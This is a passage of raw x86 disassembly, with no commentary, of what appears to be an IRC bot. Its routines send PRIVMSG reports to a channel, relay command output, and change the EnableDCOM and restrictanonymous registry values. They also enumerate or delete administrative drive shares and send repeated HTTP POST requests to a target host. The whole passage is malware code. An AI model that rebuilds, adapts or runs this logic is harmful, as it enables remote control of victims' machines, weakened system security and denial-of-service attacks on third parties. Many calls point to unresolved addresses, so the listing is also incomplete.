ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_43A438 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41C266 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_419E97 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409869 add esp, 14h loc_419E97: ; CODE XREF: sub_419E38+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_419C09 add esp, 18h test eax, eax jnz short loc_419EBF push offset unk_43A414 jmp short loc_419EC4 ; --------------------------------------------------------------------------- loc_419EBF: ; CODE XREF: sub_419E38+7Ej push offset unk_43A3F0 loc_419EC4: ; CODE XREF: sub_419E38+85j lea eax, [ebp+var_298] push eax call sub_41C266 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_419EF7 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409869 add esp, 14h loc_419EF7: ; CODE XREF: sub_419E38+9Dj lea eax, [ebp+var_298] push eax call sub_415D38 push [ebp+var_14] call sub_40B6D6 pop ecx pop ecx push esi call near ptr 26E0000h nop pop edi pop esi sub_419E38 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419F16 proc near ; CODE XREF: sub_401ACD+7712p ; sub_40B4F5+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh nop call near ptr 26802EFh mov esi, eax test esi, esi jz short loc_419F48 push 0 push esi nop call near ptr 2710A1Ah test eax, eax jnz short loc_419F48 push esi xor edi, edi nop call near ptr 26608D5h loc_419F48: ; CODE XREF: sub_419F16+1Aj ; sub_419F16+27j mov eax, edi pop edi pop esi retn sub_419F16 endp ; --------------------------------------------------------------------------- byte_419F4D db 56h, 33h, 0F6h ; DATA XREF: ___:004015EEo dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A23435h dd 2CE89000h, 0EB02256Fh db 0E3h ; =============== S U B R O U T I N E ======================================= sub_419F6D proc near ; CODE XREF: sub_419F9D+2Ap ; sub_419FD5+7Ep ... mov eax, dword_4DBC48 push esi mov esi, dword_427070 cmp eax, 0FFFFFFFFh jz short loc_419F81 push eax call esi loc_419F81: ; CODE XREF: sub_419F6D+Fj mov eax, dword_4DBC50 cmp eax, 0FFFFFFFFh jz short loc_419F8E push eax call esi loc_419F8E: ; CODE XREF: sub_419F6D+1Cj mov eax, dword_4DBC44 cmp eax, 0FFFFFFFFh jz short loc_419F9B push eax call esi loc_419F9B: ; CODE XREF: sub_419F6D+29j pop esi retn sub_419F6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F9D proc near ; CODE XREF: sub_401ACD+7475p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41B9C0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DBC4C nop call near ptr 2700000h test eax, eax jnz short loc_419FD0 call sub_419F6D xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419FD0: ; CODE XREF: sub_419F9D+28j push 1 pop eax leave retn sub_419F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FD5 proc near ; CODE XREF: sub_41A05C+D3p ; sub_41A05C+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43DB88 push [ebp+arg_4] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41A018 push 7D0h nop call near ptr 2670E97h push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41C266 add esp, 10h jmp short loc_41A02F ; --------------------------------------------------------------------------- loc_41A018: ; CODE XREF: sub_419FD5+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41C266 add esp, 0Ch loc_41A02F: ; CODE XREF: sub_419FD5+41j lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA24 test eax, eax jg short loc_41A058 call sub_419F6D loc_41A058: ; CODE XREF: sub_419FD5+7Cj xor eax, eax leave retn sub_419FD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A05C proc near ; DATA XREF: sub_41A1B1+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DBC54 loc_41A074: ; CODE XREF: sub_41A05C+79j ; sub_41A05C+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DBC48 nop call near ptr 2820938h test eax, eax jz loc_41A142 cmp [ebp+var_4], edi jnz short loc_41A0D7 lea eax, [ebp+var_8] push eax push dword_4DBC44 call near ptr 28204A5h nop test eax, eax jz short loc_41A0CD cmp [ebp+var_8], 103h jnz loc_41A166 loc_41A0CD: ; CODE XREF: sub_41A05C+62j push 0Ah call near ptr 2670E97h nop jmp short loc_41A074 ; --------------------------------------------------------------------------- loc_41A0D7: ; CODE XREF: sub_41A05C+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_41A0EE loc_41A0DE: ; CODE XREF: sub_41A05C+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_41A13C inc eax cmp eax, [ebp+var_4] jb short loc_41A0DE loc_41A0EE: ; CODE XREF: sub_41A05C+80j mov [ebp+var_4], esi loc_41A0F1: ; CODE XREF: sub_41A05C+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DBC48 nop call near ptr 26F107Dh test eax, eax jz short loc_41A18E lea eax, [ebp+var_20C] push eax push ebx push dword_4DBC88 call sub_419FD5 add esp, 0Ch jmp loc_41A074 ; --------------------------------------------------------------------------- loc_41A13C: ; CODE XREF: sub_41A05C+8Aj inc eax mov [ebp+var_4], eax jmp short loc_41A0F1 ; --------------------------------------------------------------------------- loc_41A142: ; CODE XREF: sub_41A05C+45j push offset unk_43A4C0 push ebx push dword_4DBC88 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push 1 nop call near ptr 26E0000h loc_41A166: ; CODE XREF: sub_41A05C+6Bj call sub_419F6D push offset unk_43A498 push ebx push dword_4DBC88 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push edi nop call near ptr 26E0000h loc_41A18E: ; CODE XREF: sub_41A05C+C3j push offset unk_43A468 push ebx push dword_4DBC88 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push edi call near ptr 26E0000h nop sub_41A05C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A1B1 proc near ; CODE XREF: sub_401ACD+24AAp var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419F6D xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_4346E0 push esi call dword_4CBA90 test eax, eax jz loc_41A2AB push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_427108 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_41A2AB lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_41A2AB mov edi, dword_427104 push 3 push esi push esi push offset dword_4DBC4C call edi push eax push [ebp+var_8] call edi push eax call near ptr 2720000h nop test eax, eax jz short loc_41A2AB push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41BF70 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41BF70 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43DB88 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 2660B67h test eax, eax jnz short loc_41A2B3 loc_41A2AB: ; CODE XREF: sub_41A1B1+2Fj ; sub_41A1B1+5Cj ... or eax, 0FFFFFFFFh jmp loc_41A361 ; --------------------------------------------------------------------------- loc_41A2B3: ; CODE XREF: sub_41A1B1+F8j push [ebp+var_4] mov edi, dword_427070 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DBC48, eax mov eax, [ebp+var_8] mov dword_4DBC50, eax mov eax, [ebp+var_2C] mov dword_4DBC44, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DBC88, eax jz short loc_41A2ED push [ebp+arg_4] jmp short loc_41A2EE ; --------------------------------------------------------------------------- loc_41A2ED: ; CODE XREF: sub_41A1B1+135j push ebx loc_41A2EE: ; CODE XREF: sub_41A1B1+13Aj push offset dword_4DBC54 call sub_41C266 pop ecx pop ecx push esi push 0Ah push offset unk_43A524 call sub_40B3BA mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43E918[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_41A05C push esi push esi nop call near ptr 2680000h cmp eax, esi mov dword_43E924[edi], eax jnz short loc_41A35F call near ptr 2680972h nop push eax lea eax, [ebp+var_378] push offset unk_43A4F0 push eax call sub_41C266 lea eax, [ebp+var_378] push eax call sub_415D38 add esp, 10h loc_41A35F: ; CODE XREF: sub_41A1B1+185j xor eax, eax loc_41A361: ; CODE XREF: sub_41A1B1+FDj pop edi pop esi pop ebx leave retn sub_41A1B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A366 proc near ; DATA XREF: sub_401ACD+2DC8o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_41A3AD call sub_41A3C6 jmp short loc_41A3B2 ; --------------------------------------------------------------------------- loc_41A3AD: ; CODE XREF: sub_41A366+3Ej call sub_41A6EA loc_41A3B2: ; CODE XREF: sub_41A366+45j add esp, 10h push [ebp+var_14] call sub_40B6D6 pop ecx push 0 nop call near ptr 26E0000h sub_41A366 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A3C6 proc near ; CODE XREF: sub_41A366+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CBAA4, edi jnz loc_41A4F8 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CBA44 test eax, eax jnz short loc_41A451 mov ax, word_439298 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB9F8 test eax, eax jz short loc_41A433 push offset dword_43A7C0 jmp short loc_41A438 ; --------------------------------------------------------------------------- loc_41A433: ; CODE XREF: sub_41A3C6+64j push offset dword_43A7A0 loc_41A438: ; CODE XREF: sub_41A3C6+6Bj lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A464 ; --------------------------------------------------------------------------- loc_41A451: ; CODE XREF: sub_41A3C6+36j lea eax, [ebp+var_214] push offset dword_43A770 push eax call sub_41C266 pop ecx pop ecx loc_41A464: ; CODE XREF: sub_41A3C6+89j cmp [ebp+arg_C], edi jnz short loc_41A483 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A483: ; CODE XREF: sub_41A3C6+A1j lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CBA44 test eax, eax jnz short loc_41A4F1 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CB9F8 test eax, eax jz short loc_41A4D3 push offset dword_43A720 jmp short loc_41A4D8 ; --------------------------------------------------------------------------- loc_41A4D3: ; CODE XREF: sub_41A3C6+104j push offset dword_43A6EC loc_41A4D8: ; CODE XREF: sub_41A3C6+10Bj lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A50B ; --------------------------------------------------------------------------- loc_41A4F1: ; CODE XREF: sub_41A3C6+E2j push offset dword_43A6B0 jmp short loc_41A4FD ; --------------------------------------------------------------------------- loc_41A4F8: ; CODE XREF: sub_41A3C6+13j push offset dword_43A680 loc_41A4FD: ; CODE XREF: sub_41A3C6+130j lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx loc_41A50B: ; CODE XREF: sub_41A3C6+129j cmp [ebp+arg_C], edi jnz short loc_41A52A push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A52A: ; CODE XREF: sub_41A3C6+148j lea eax, [ebp+var_214] push eax call sub_415D38 cmp dword_4CBACC, edi pop ecx jnz loc_41A6A5 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A54D: ; CODE XREF: sub_41A3C6+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CB918 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A5EA cmp eax, 0EAh jz short loc_41A5EA mov esi, offset off_43A548 loc_41A57E: ; CODE XREF: sub_41A3C6+21Dj push dword ptr [esi] push edi call sub_4191B8 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A595 push offset dword_43A65C jmp short loc_41A59A ; --------------------------------------------------------------------------- loc_41A595: ; CODE XREF: sub_41A3C6+1C6j push offset dword_43A630 loc_41A59A: ; CODE XREF: sub_41A3C6+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A5CD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A5CD: ; CODE XREF: sub_41A3C6+1EBj lea eax, [ebp+var_214] push eax call sub_415D38 add esi, 8 pop ecx cmp esi, offset off_43A568 jb short loc_41A57E jmp loc_41A682 ; --------------------------------------------------------------------------- loc_41A5EA: ; CODE XREF: sub_41A3C6+1AAj ; sub_41A3C6+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A679 loc_41A5F9: ; CODE XREF: sub_41A3C6+2AFj mov edi, [esi] push edi call sub_41E0B7 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A66E push edi call sub_4190A5 push eax push 0 call sub_4191B8 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A628 push offset dword_43A60C jmp short loc_41A62D ; --------------------------------------------------------------------------- loc_41A628: ; CODE XREF: sub_41A3C6+259j push offset dword_43A5E0 loc_41A62D: ; CODE XREF: sub_41A3C6+260j lea eax, [ebp+var_214] push 200h push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A661 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A661: ; CODE XREF: sub_41A3C6+27Fj lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx loc_41A66E: ; CODE XREF: sub_41A3C6+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A5F9 xor edi, edi loc_41A679: ; CODE XREF: sub_41A3C6+22Dj push [ebp+var_8] call dword_4CBA64 loc_41A682: ; CODE XREF: sub_41A3C6+21Fj cmp [ebp+var_10], 0EAh jz loc_41A54D lea eax, [ebp+var_214] push offset dword_43A5B8 push eax call sub_41C266 pop ecx pop ecx pop ebx jmp short loc_41A6B8 ; --------------------------------------------------------------------------- loc_41A6A5: ; CODE XREF: sub_41A3C6+177j lea eax, [ebp+var_214] push offset dword_43A588 push eax call sub_41C266 pop ecx pop ecx loc_41A6B8: ; CODE XREF: sub_41A3C6+2DDj cmp [ebp+arg_C], edi jnz short loc_41A6D6 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A6D6: ; CODE XREF: sub_41A3C6+2F5j lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx push 1 pop eax pop edi pop esi leave retn sub_41A3C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6EA proc near ; CODE XREF: sub_41A366:loc_41A3ADp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CBAA4, ebx push esi jnz loc_41A818 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CBA44 test eax, eax jnz short loc_41A775 mov ax, word_4392DC mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB9F8 test eax, eax jz short loc_41A757 push offset dword_43A938 jmp short loc_41A75C ; --------------------------------------------------------------------------- loc_41A757: ; CODE XREF: sub_41A6EA+64j push offset dword_43A91C loc_41A75C: ; CODE XREF: sub_41A6EA+6Bj lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A788 ; --------------------------------------------------------------------------- loc_41A775: ; CODE XREF: sub_41A6EA+36j lea eax, [ebp+var_220] push offset dword_43A770 push eax call sub_41C266 pop ecx pop ecx loc_41A788: ; CODE XREF: sub_41A6EA+89j cmp [ebp+arg_C], ebx jnz short loc_41A7A7 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A7A7: ; CODE XREF: sub_41A6EA+A1j lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CBA44 test eax, eax jnz short loc_41A811 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CB9F8 test eax, eax jz short loc_41A7F3 push offset dword_43A8DC jmp short loc_41A7F8 ; --------------------------------------------------------------------------- loc_41A7F3: ; CODE XREF: sub_41A6EA+100j push offset dword_43A8A4 loc_41A7F8: ; CODE XREF: sub_41A6EA+107j lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A82B ; --------------------------------------------------------------------------- loc_41A811: ; CODE XREF: sub_41A6EA+E2j push offset dword_43A868 jmp short loc_41A81D ; --------------------------------------------------------------------------- loc_41A818: ; CODE XREF: sub_41A6EA+13j push offset dword_43A680 loc_41A81D: ; CODE XREF: sub_41A6EA+12Cj lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx loc_41A82B: ; CODE XREF: sub_41A6EA+125j cmp [ebp+arg_C], ebx jnz short loc_41A84A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A84A: ; CODE XREF: sub_41A6EA+144j lea eax, [ebp+var_220] push eax call sub_415D38 cmp dword_4CBACC, ebx pop ecx jnz loc_41A9BF push edi mov esi, offset off_43A548 mov edi, 200h loc_41A86E: ; CODE XREF: sub_41A6EA+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_41910C add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A889 push offset dword_43A848 jmp short loc_41A88E ; --------------------------------------------------------------------------- loc_41A889: ; CODE XREF: sub_41A6EA+196j push offset dword_43A820 loc_41A88E: ; CODE XREF: sub_41A6EA+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A8BD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A8BD: ; CODE XREF: sub_41A6EA+1B7j lea eax, [ebp+var_220] push eax call sub_415D38 add esi, 8 pop ecx cmp esi, offset off_43A558 jb short loc_41A86E nop call near ptr 2820CE0h test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A9A7 loc_41A8E8: ; CODE XREF: sub_41A6EA+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A99C cmp bl, 41h jz loc_41A99C movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_1 ; "%c:\\" push 0Ah push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CBA34 cmp eax, 3 jnz short loc_41A99C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_41910C add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A95A push offset dword_43A848 jmp short loc_41A95F ; --------------------------------------------------------------------------- loc_41A95A: ; CODE XREF: sub_41A6EA+267j push offset dword_43A820 loc_41A95F: ; CODE XREF: sub_41A6EA+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A98F push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A98F: ; CODE XREF: sub_41A6EA+289j lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx loc_41A99C: ; CODE XREF: sub_41A6EA+206j ; sub_41A6EA+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A8E8 loc_41A9A7: ; CODE XREF: sub_41A6EA+1F8j lea eax, [ebp+var_220] push offset dword_43A7F0 push eax call sub_41C266 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A9D2 ; --------------------------------------------------------------------------- loc_41A9BF: ; CODE XREF: sub_41A6EA+173j lea eax, [ebp+var_220] push offset dword_43A588 push eax call sub_41C266 pop ecx pop ecx loc_41A9D2: ; CODE XREF: sub_41A6EA+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A9F0 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A9F0: ; CODE XREF: sub_41A6EA+2EBj lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A6EA endp ; =============== S U B R O U T I N E ======================================= sub_41AA04 proc near ; CODE XREF: sub_41ABFB+CBp ; sub_41ABFB+DDp ... arg_0 = dword ptr 4 nop call near ptr 269083Ah push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41AA04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA1E proc near ; CODE XREF: sub_41ABFB+D4p ; sub_41ABFB+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41B9C0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41ABF7 push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41BF70 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40A8F0 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41ABF7 push 50h call dword_4CB9D4 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CBA54 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41ABF7 lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_41ABF7 push 32003h call sub_41D9A5 mov edi, dword_4270B0 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41C2B8 call sub_41C2C2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41BF70 push 32000h push esi push ebx call sub_41BF70 push ebx call sub_41B9C0 push 323EAh mov ebx, eax call sub_41D9A5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41C266 push [ebp+var_8] push esi call sub_41C8A0 push offset asc_4349EC ; "\r\n" push esi call sub_41C8A0 push esi call sub_41B9C0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41AB77 mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41AB47 ; --------------------------------------------------------------------------- loc_41AB44: ; CODE XREF: sub_41AA1E+157j mov eax, [ebp+arg_0] loc_41AB47: ; CODE XREF: sub_41AA1E+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41AB57 push [ebp+var_C] jmp short loc_41AB58 ; --------------------------------------------------------------------------- loc_41AB57: ; CODE XREF: sub_41AA1E+132j push ebx loc_41AB58: ; CODE XREF: sub_41AA1E+137j add eax, esi push eax push [ebp+var_4] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_41ABDE add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41AB44 loc_41AB77: ; CODE XREF: sub_41AA1E+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_4276F4 fst [ebp+arg_0] fcomp flt_4276F0 fnstsw ax sahf jnz short loc_41AB9F fld1 fstp [ebp+arg_0] loc_41AB9F: ; CODE XREF: sub_41AA1E+17Aj push [ebp+var_4] call dword_4CBA6C push [ebp+var_8] call sub_41BA91 push esi call sub_41BA91 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_4276EC fmul flt_4276E8 call sub_41D174 loc_41ABD9: ; CODE XREF: sub_41AA1E+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41ABDE: ; CODE XREF: sub_41AA1E+149j push [ebp+var_4] call dword_4CBA6C push [ebp+var_8] call sub_41BA91 push 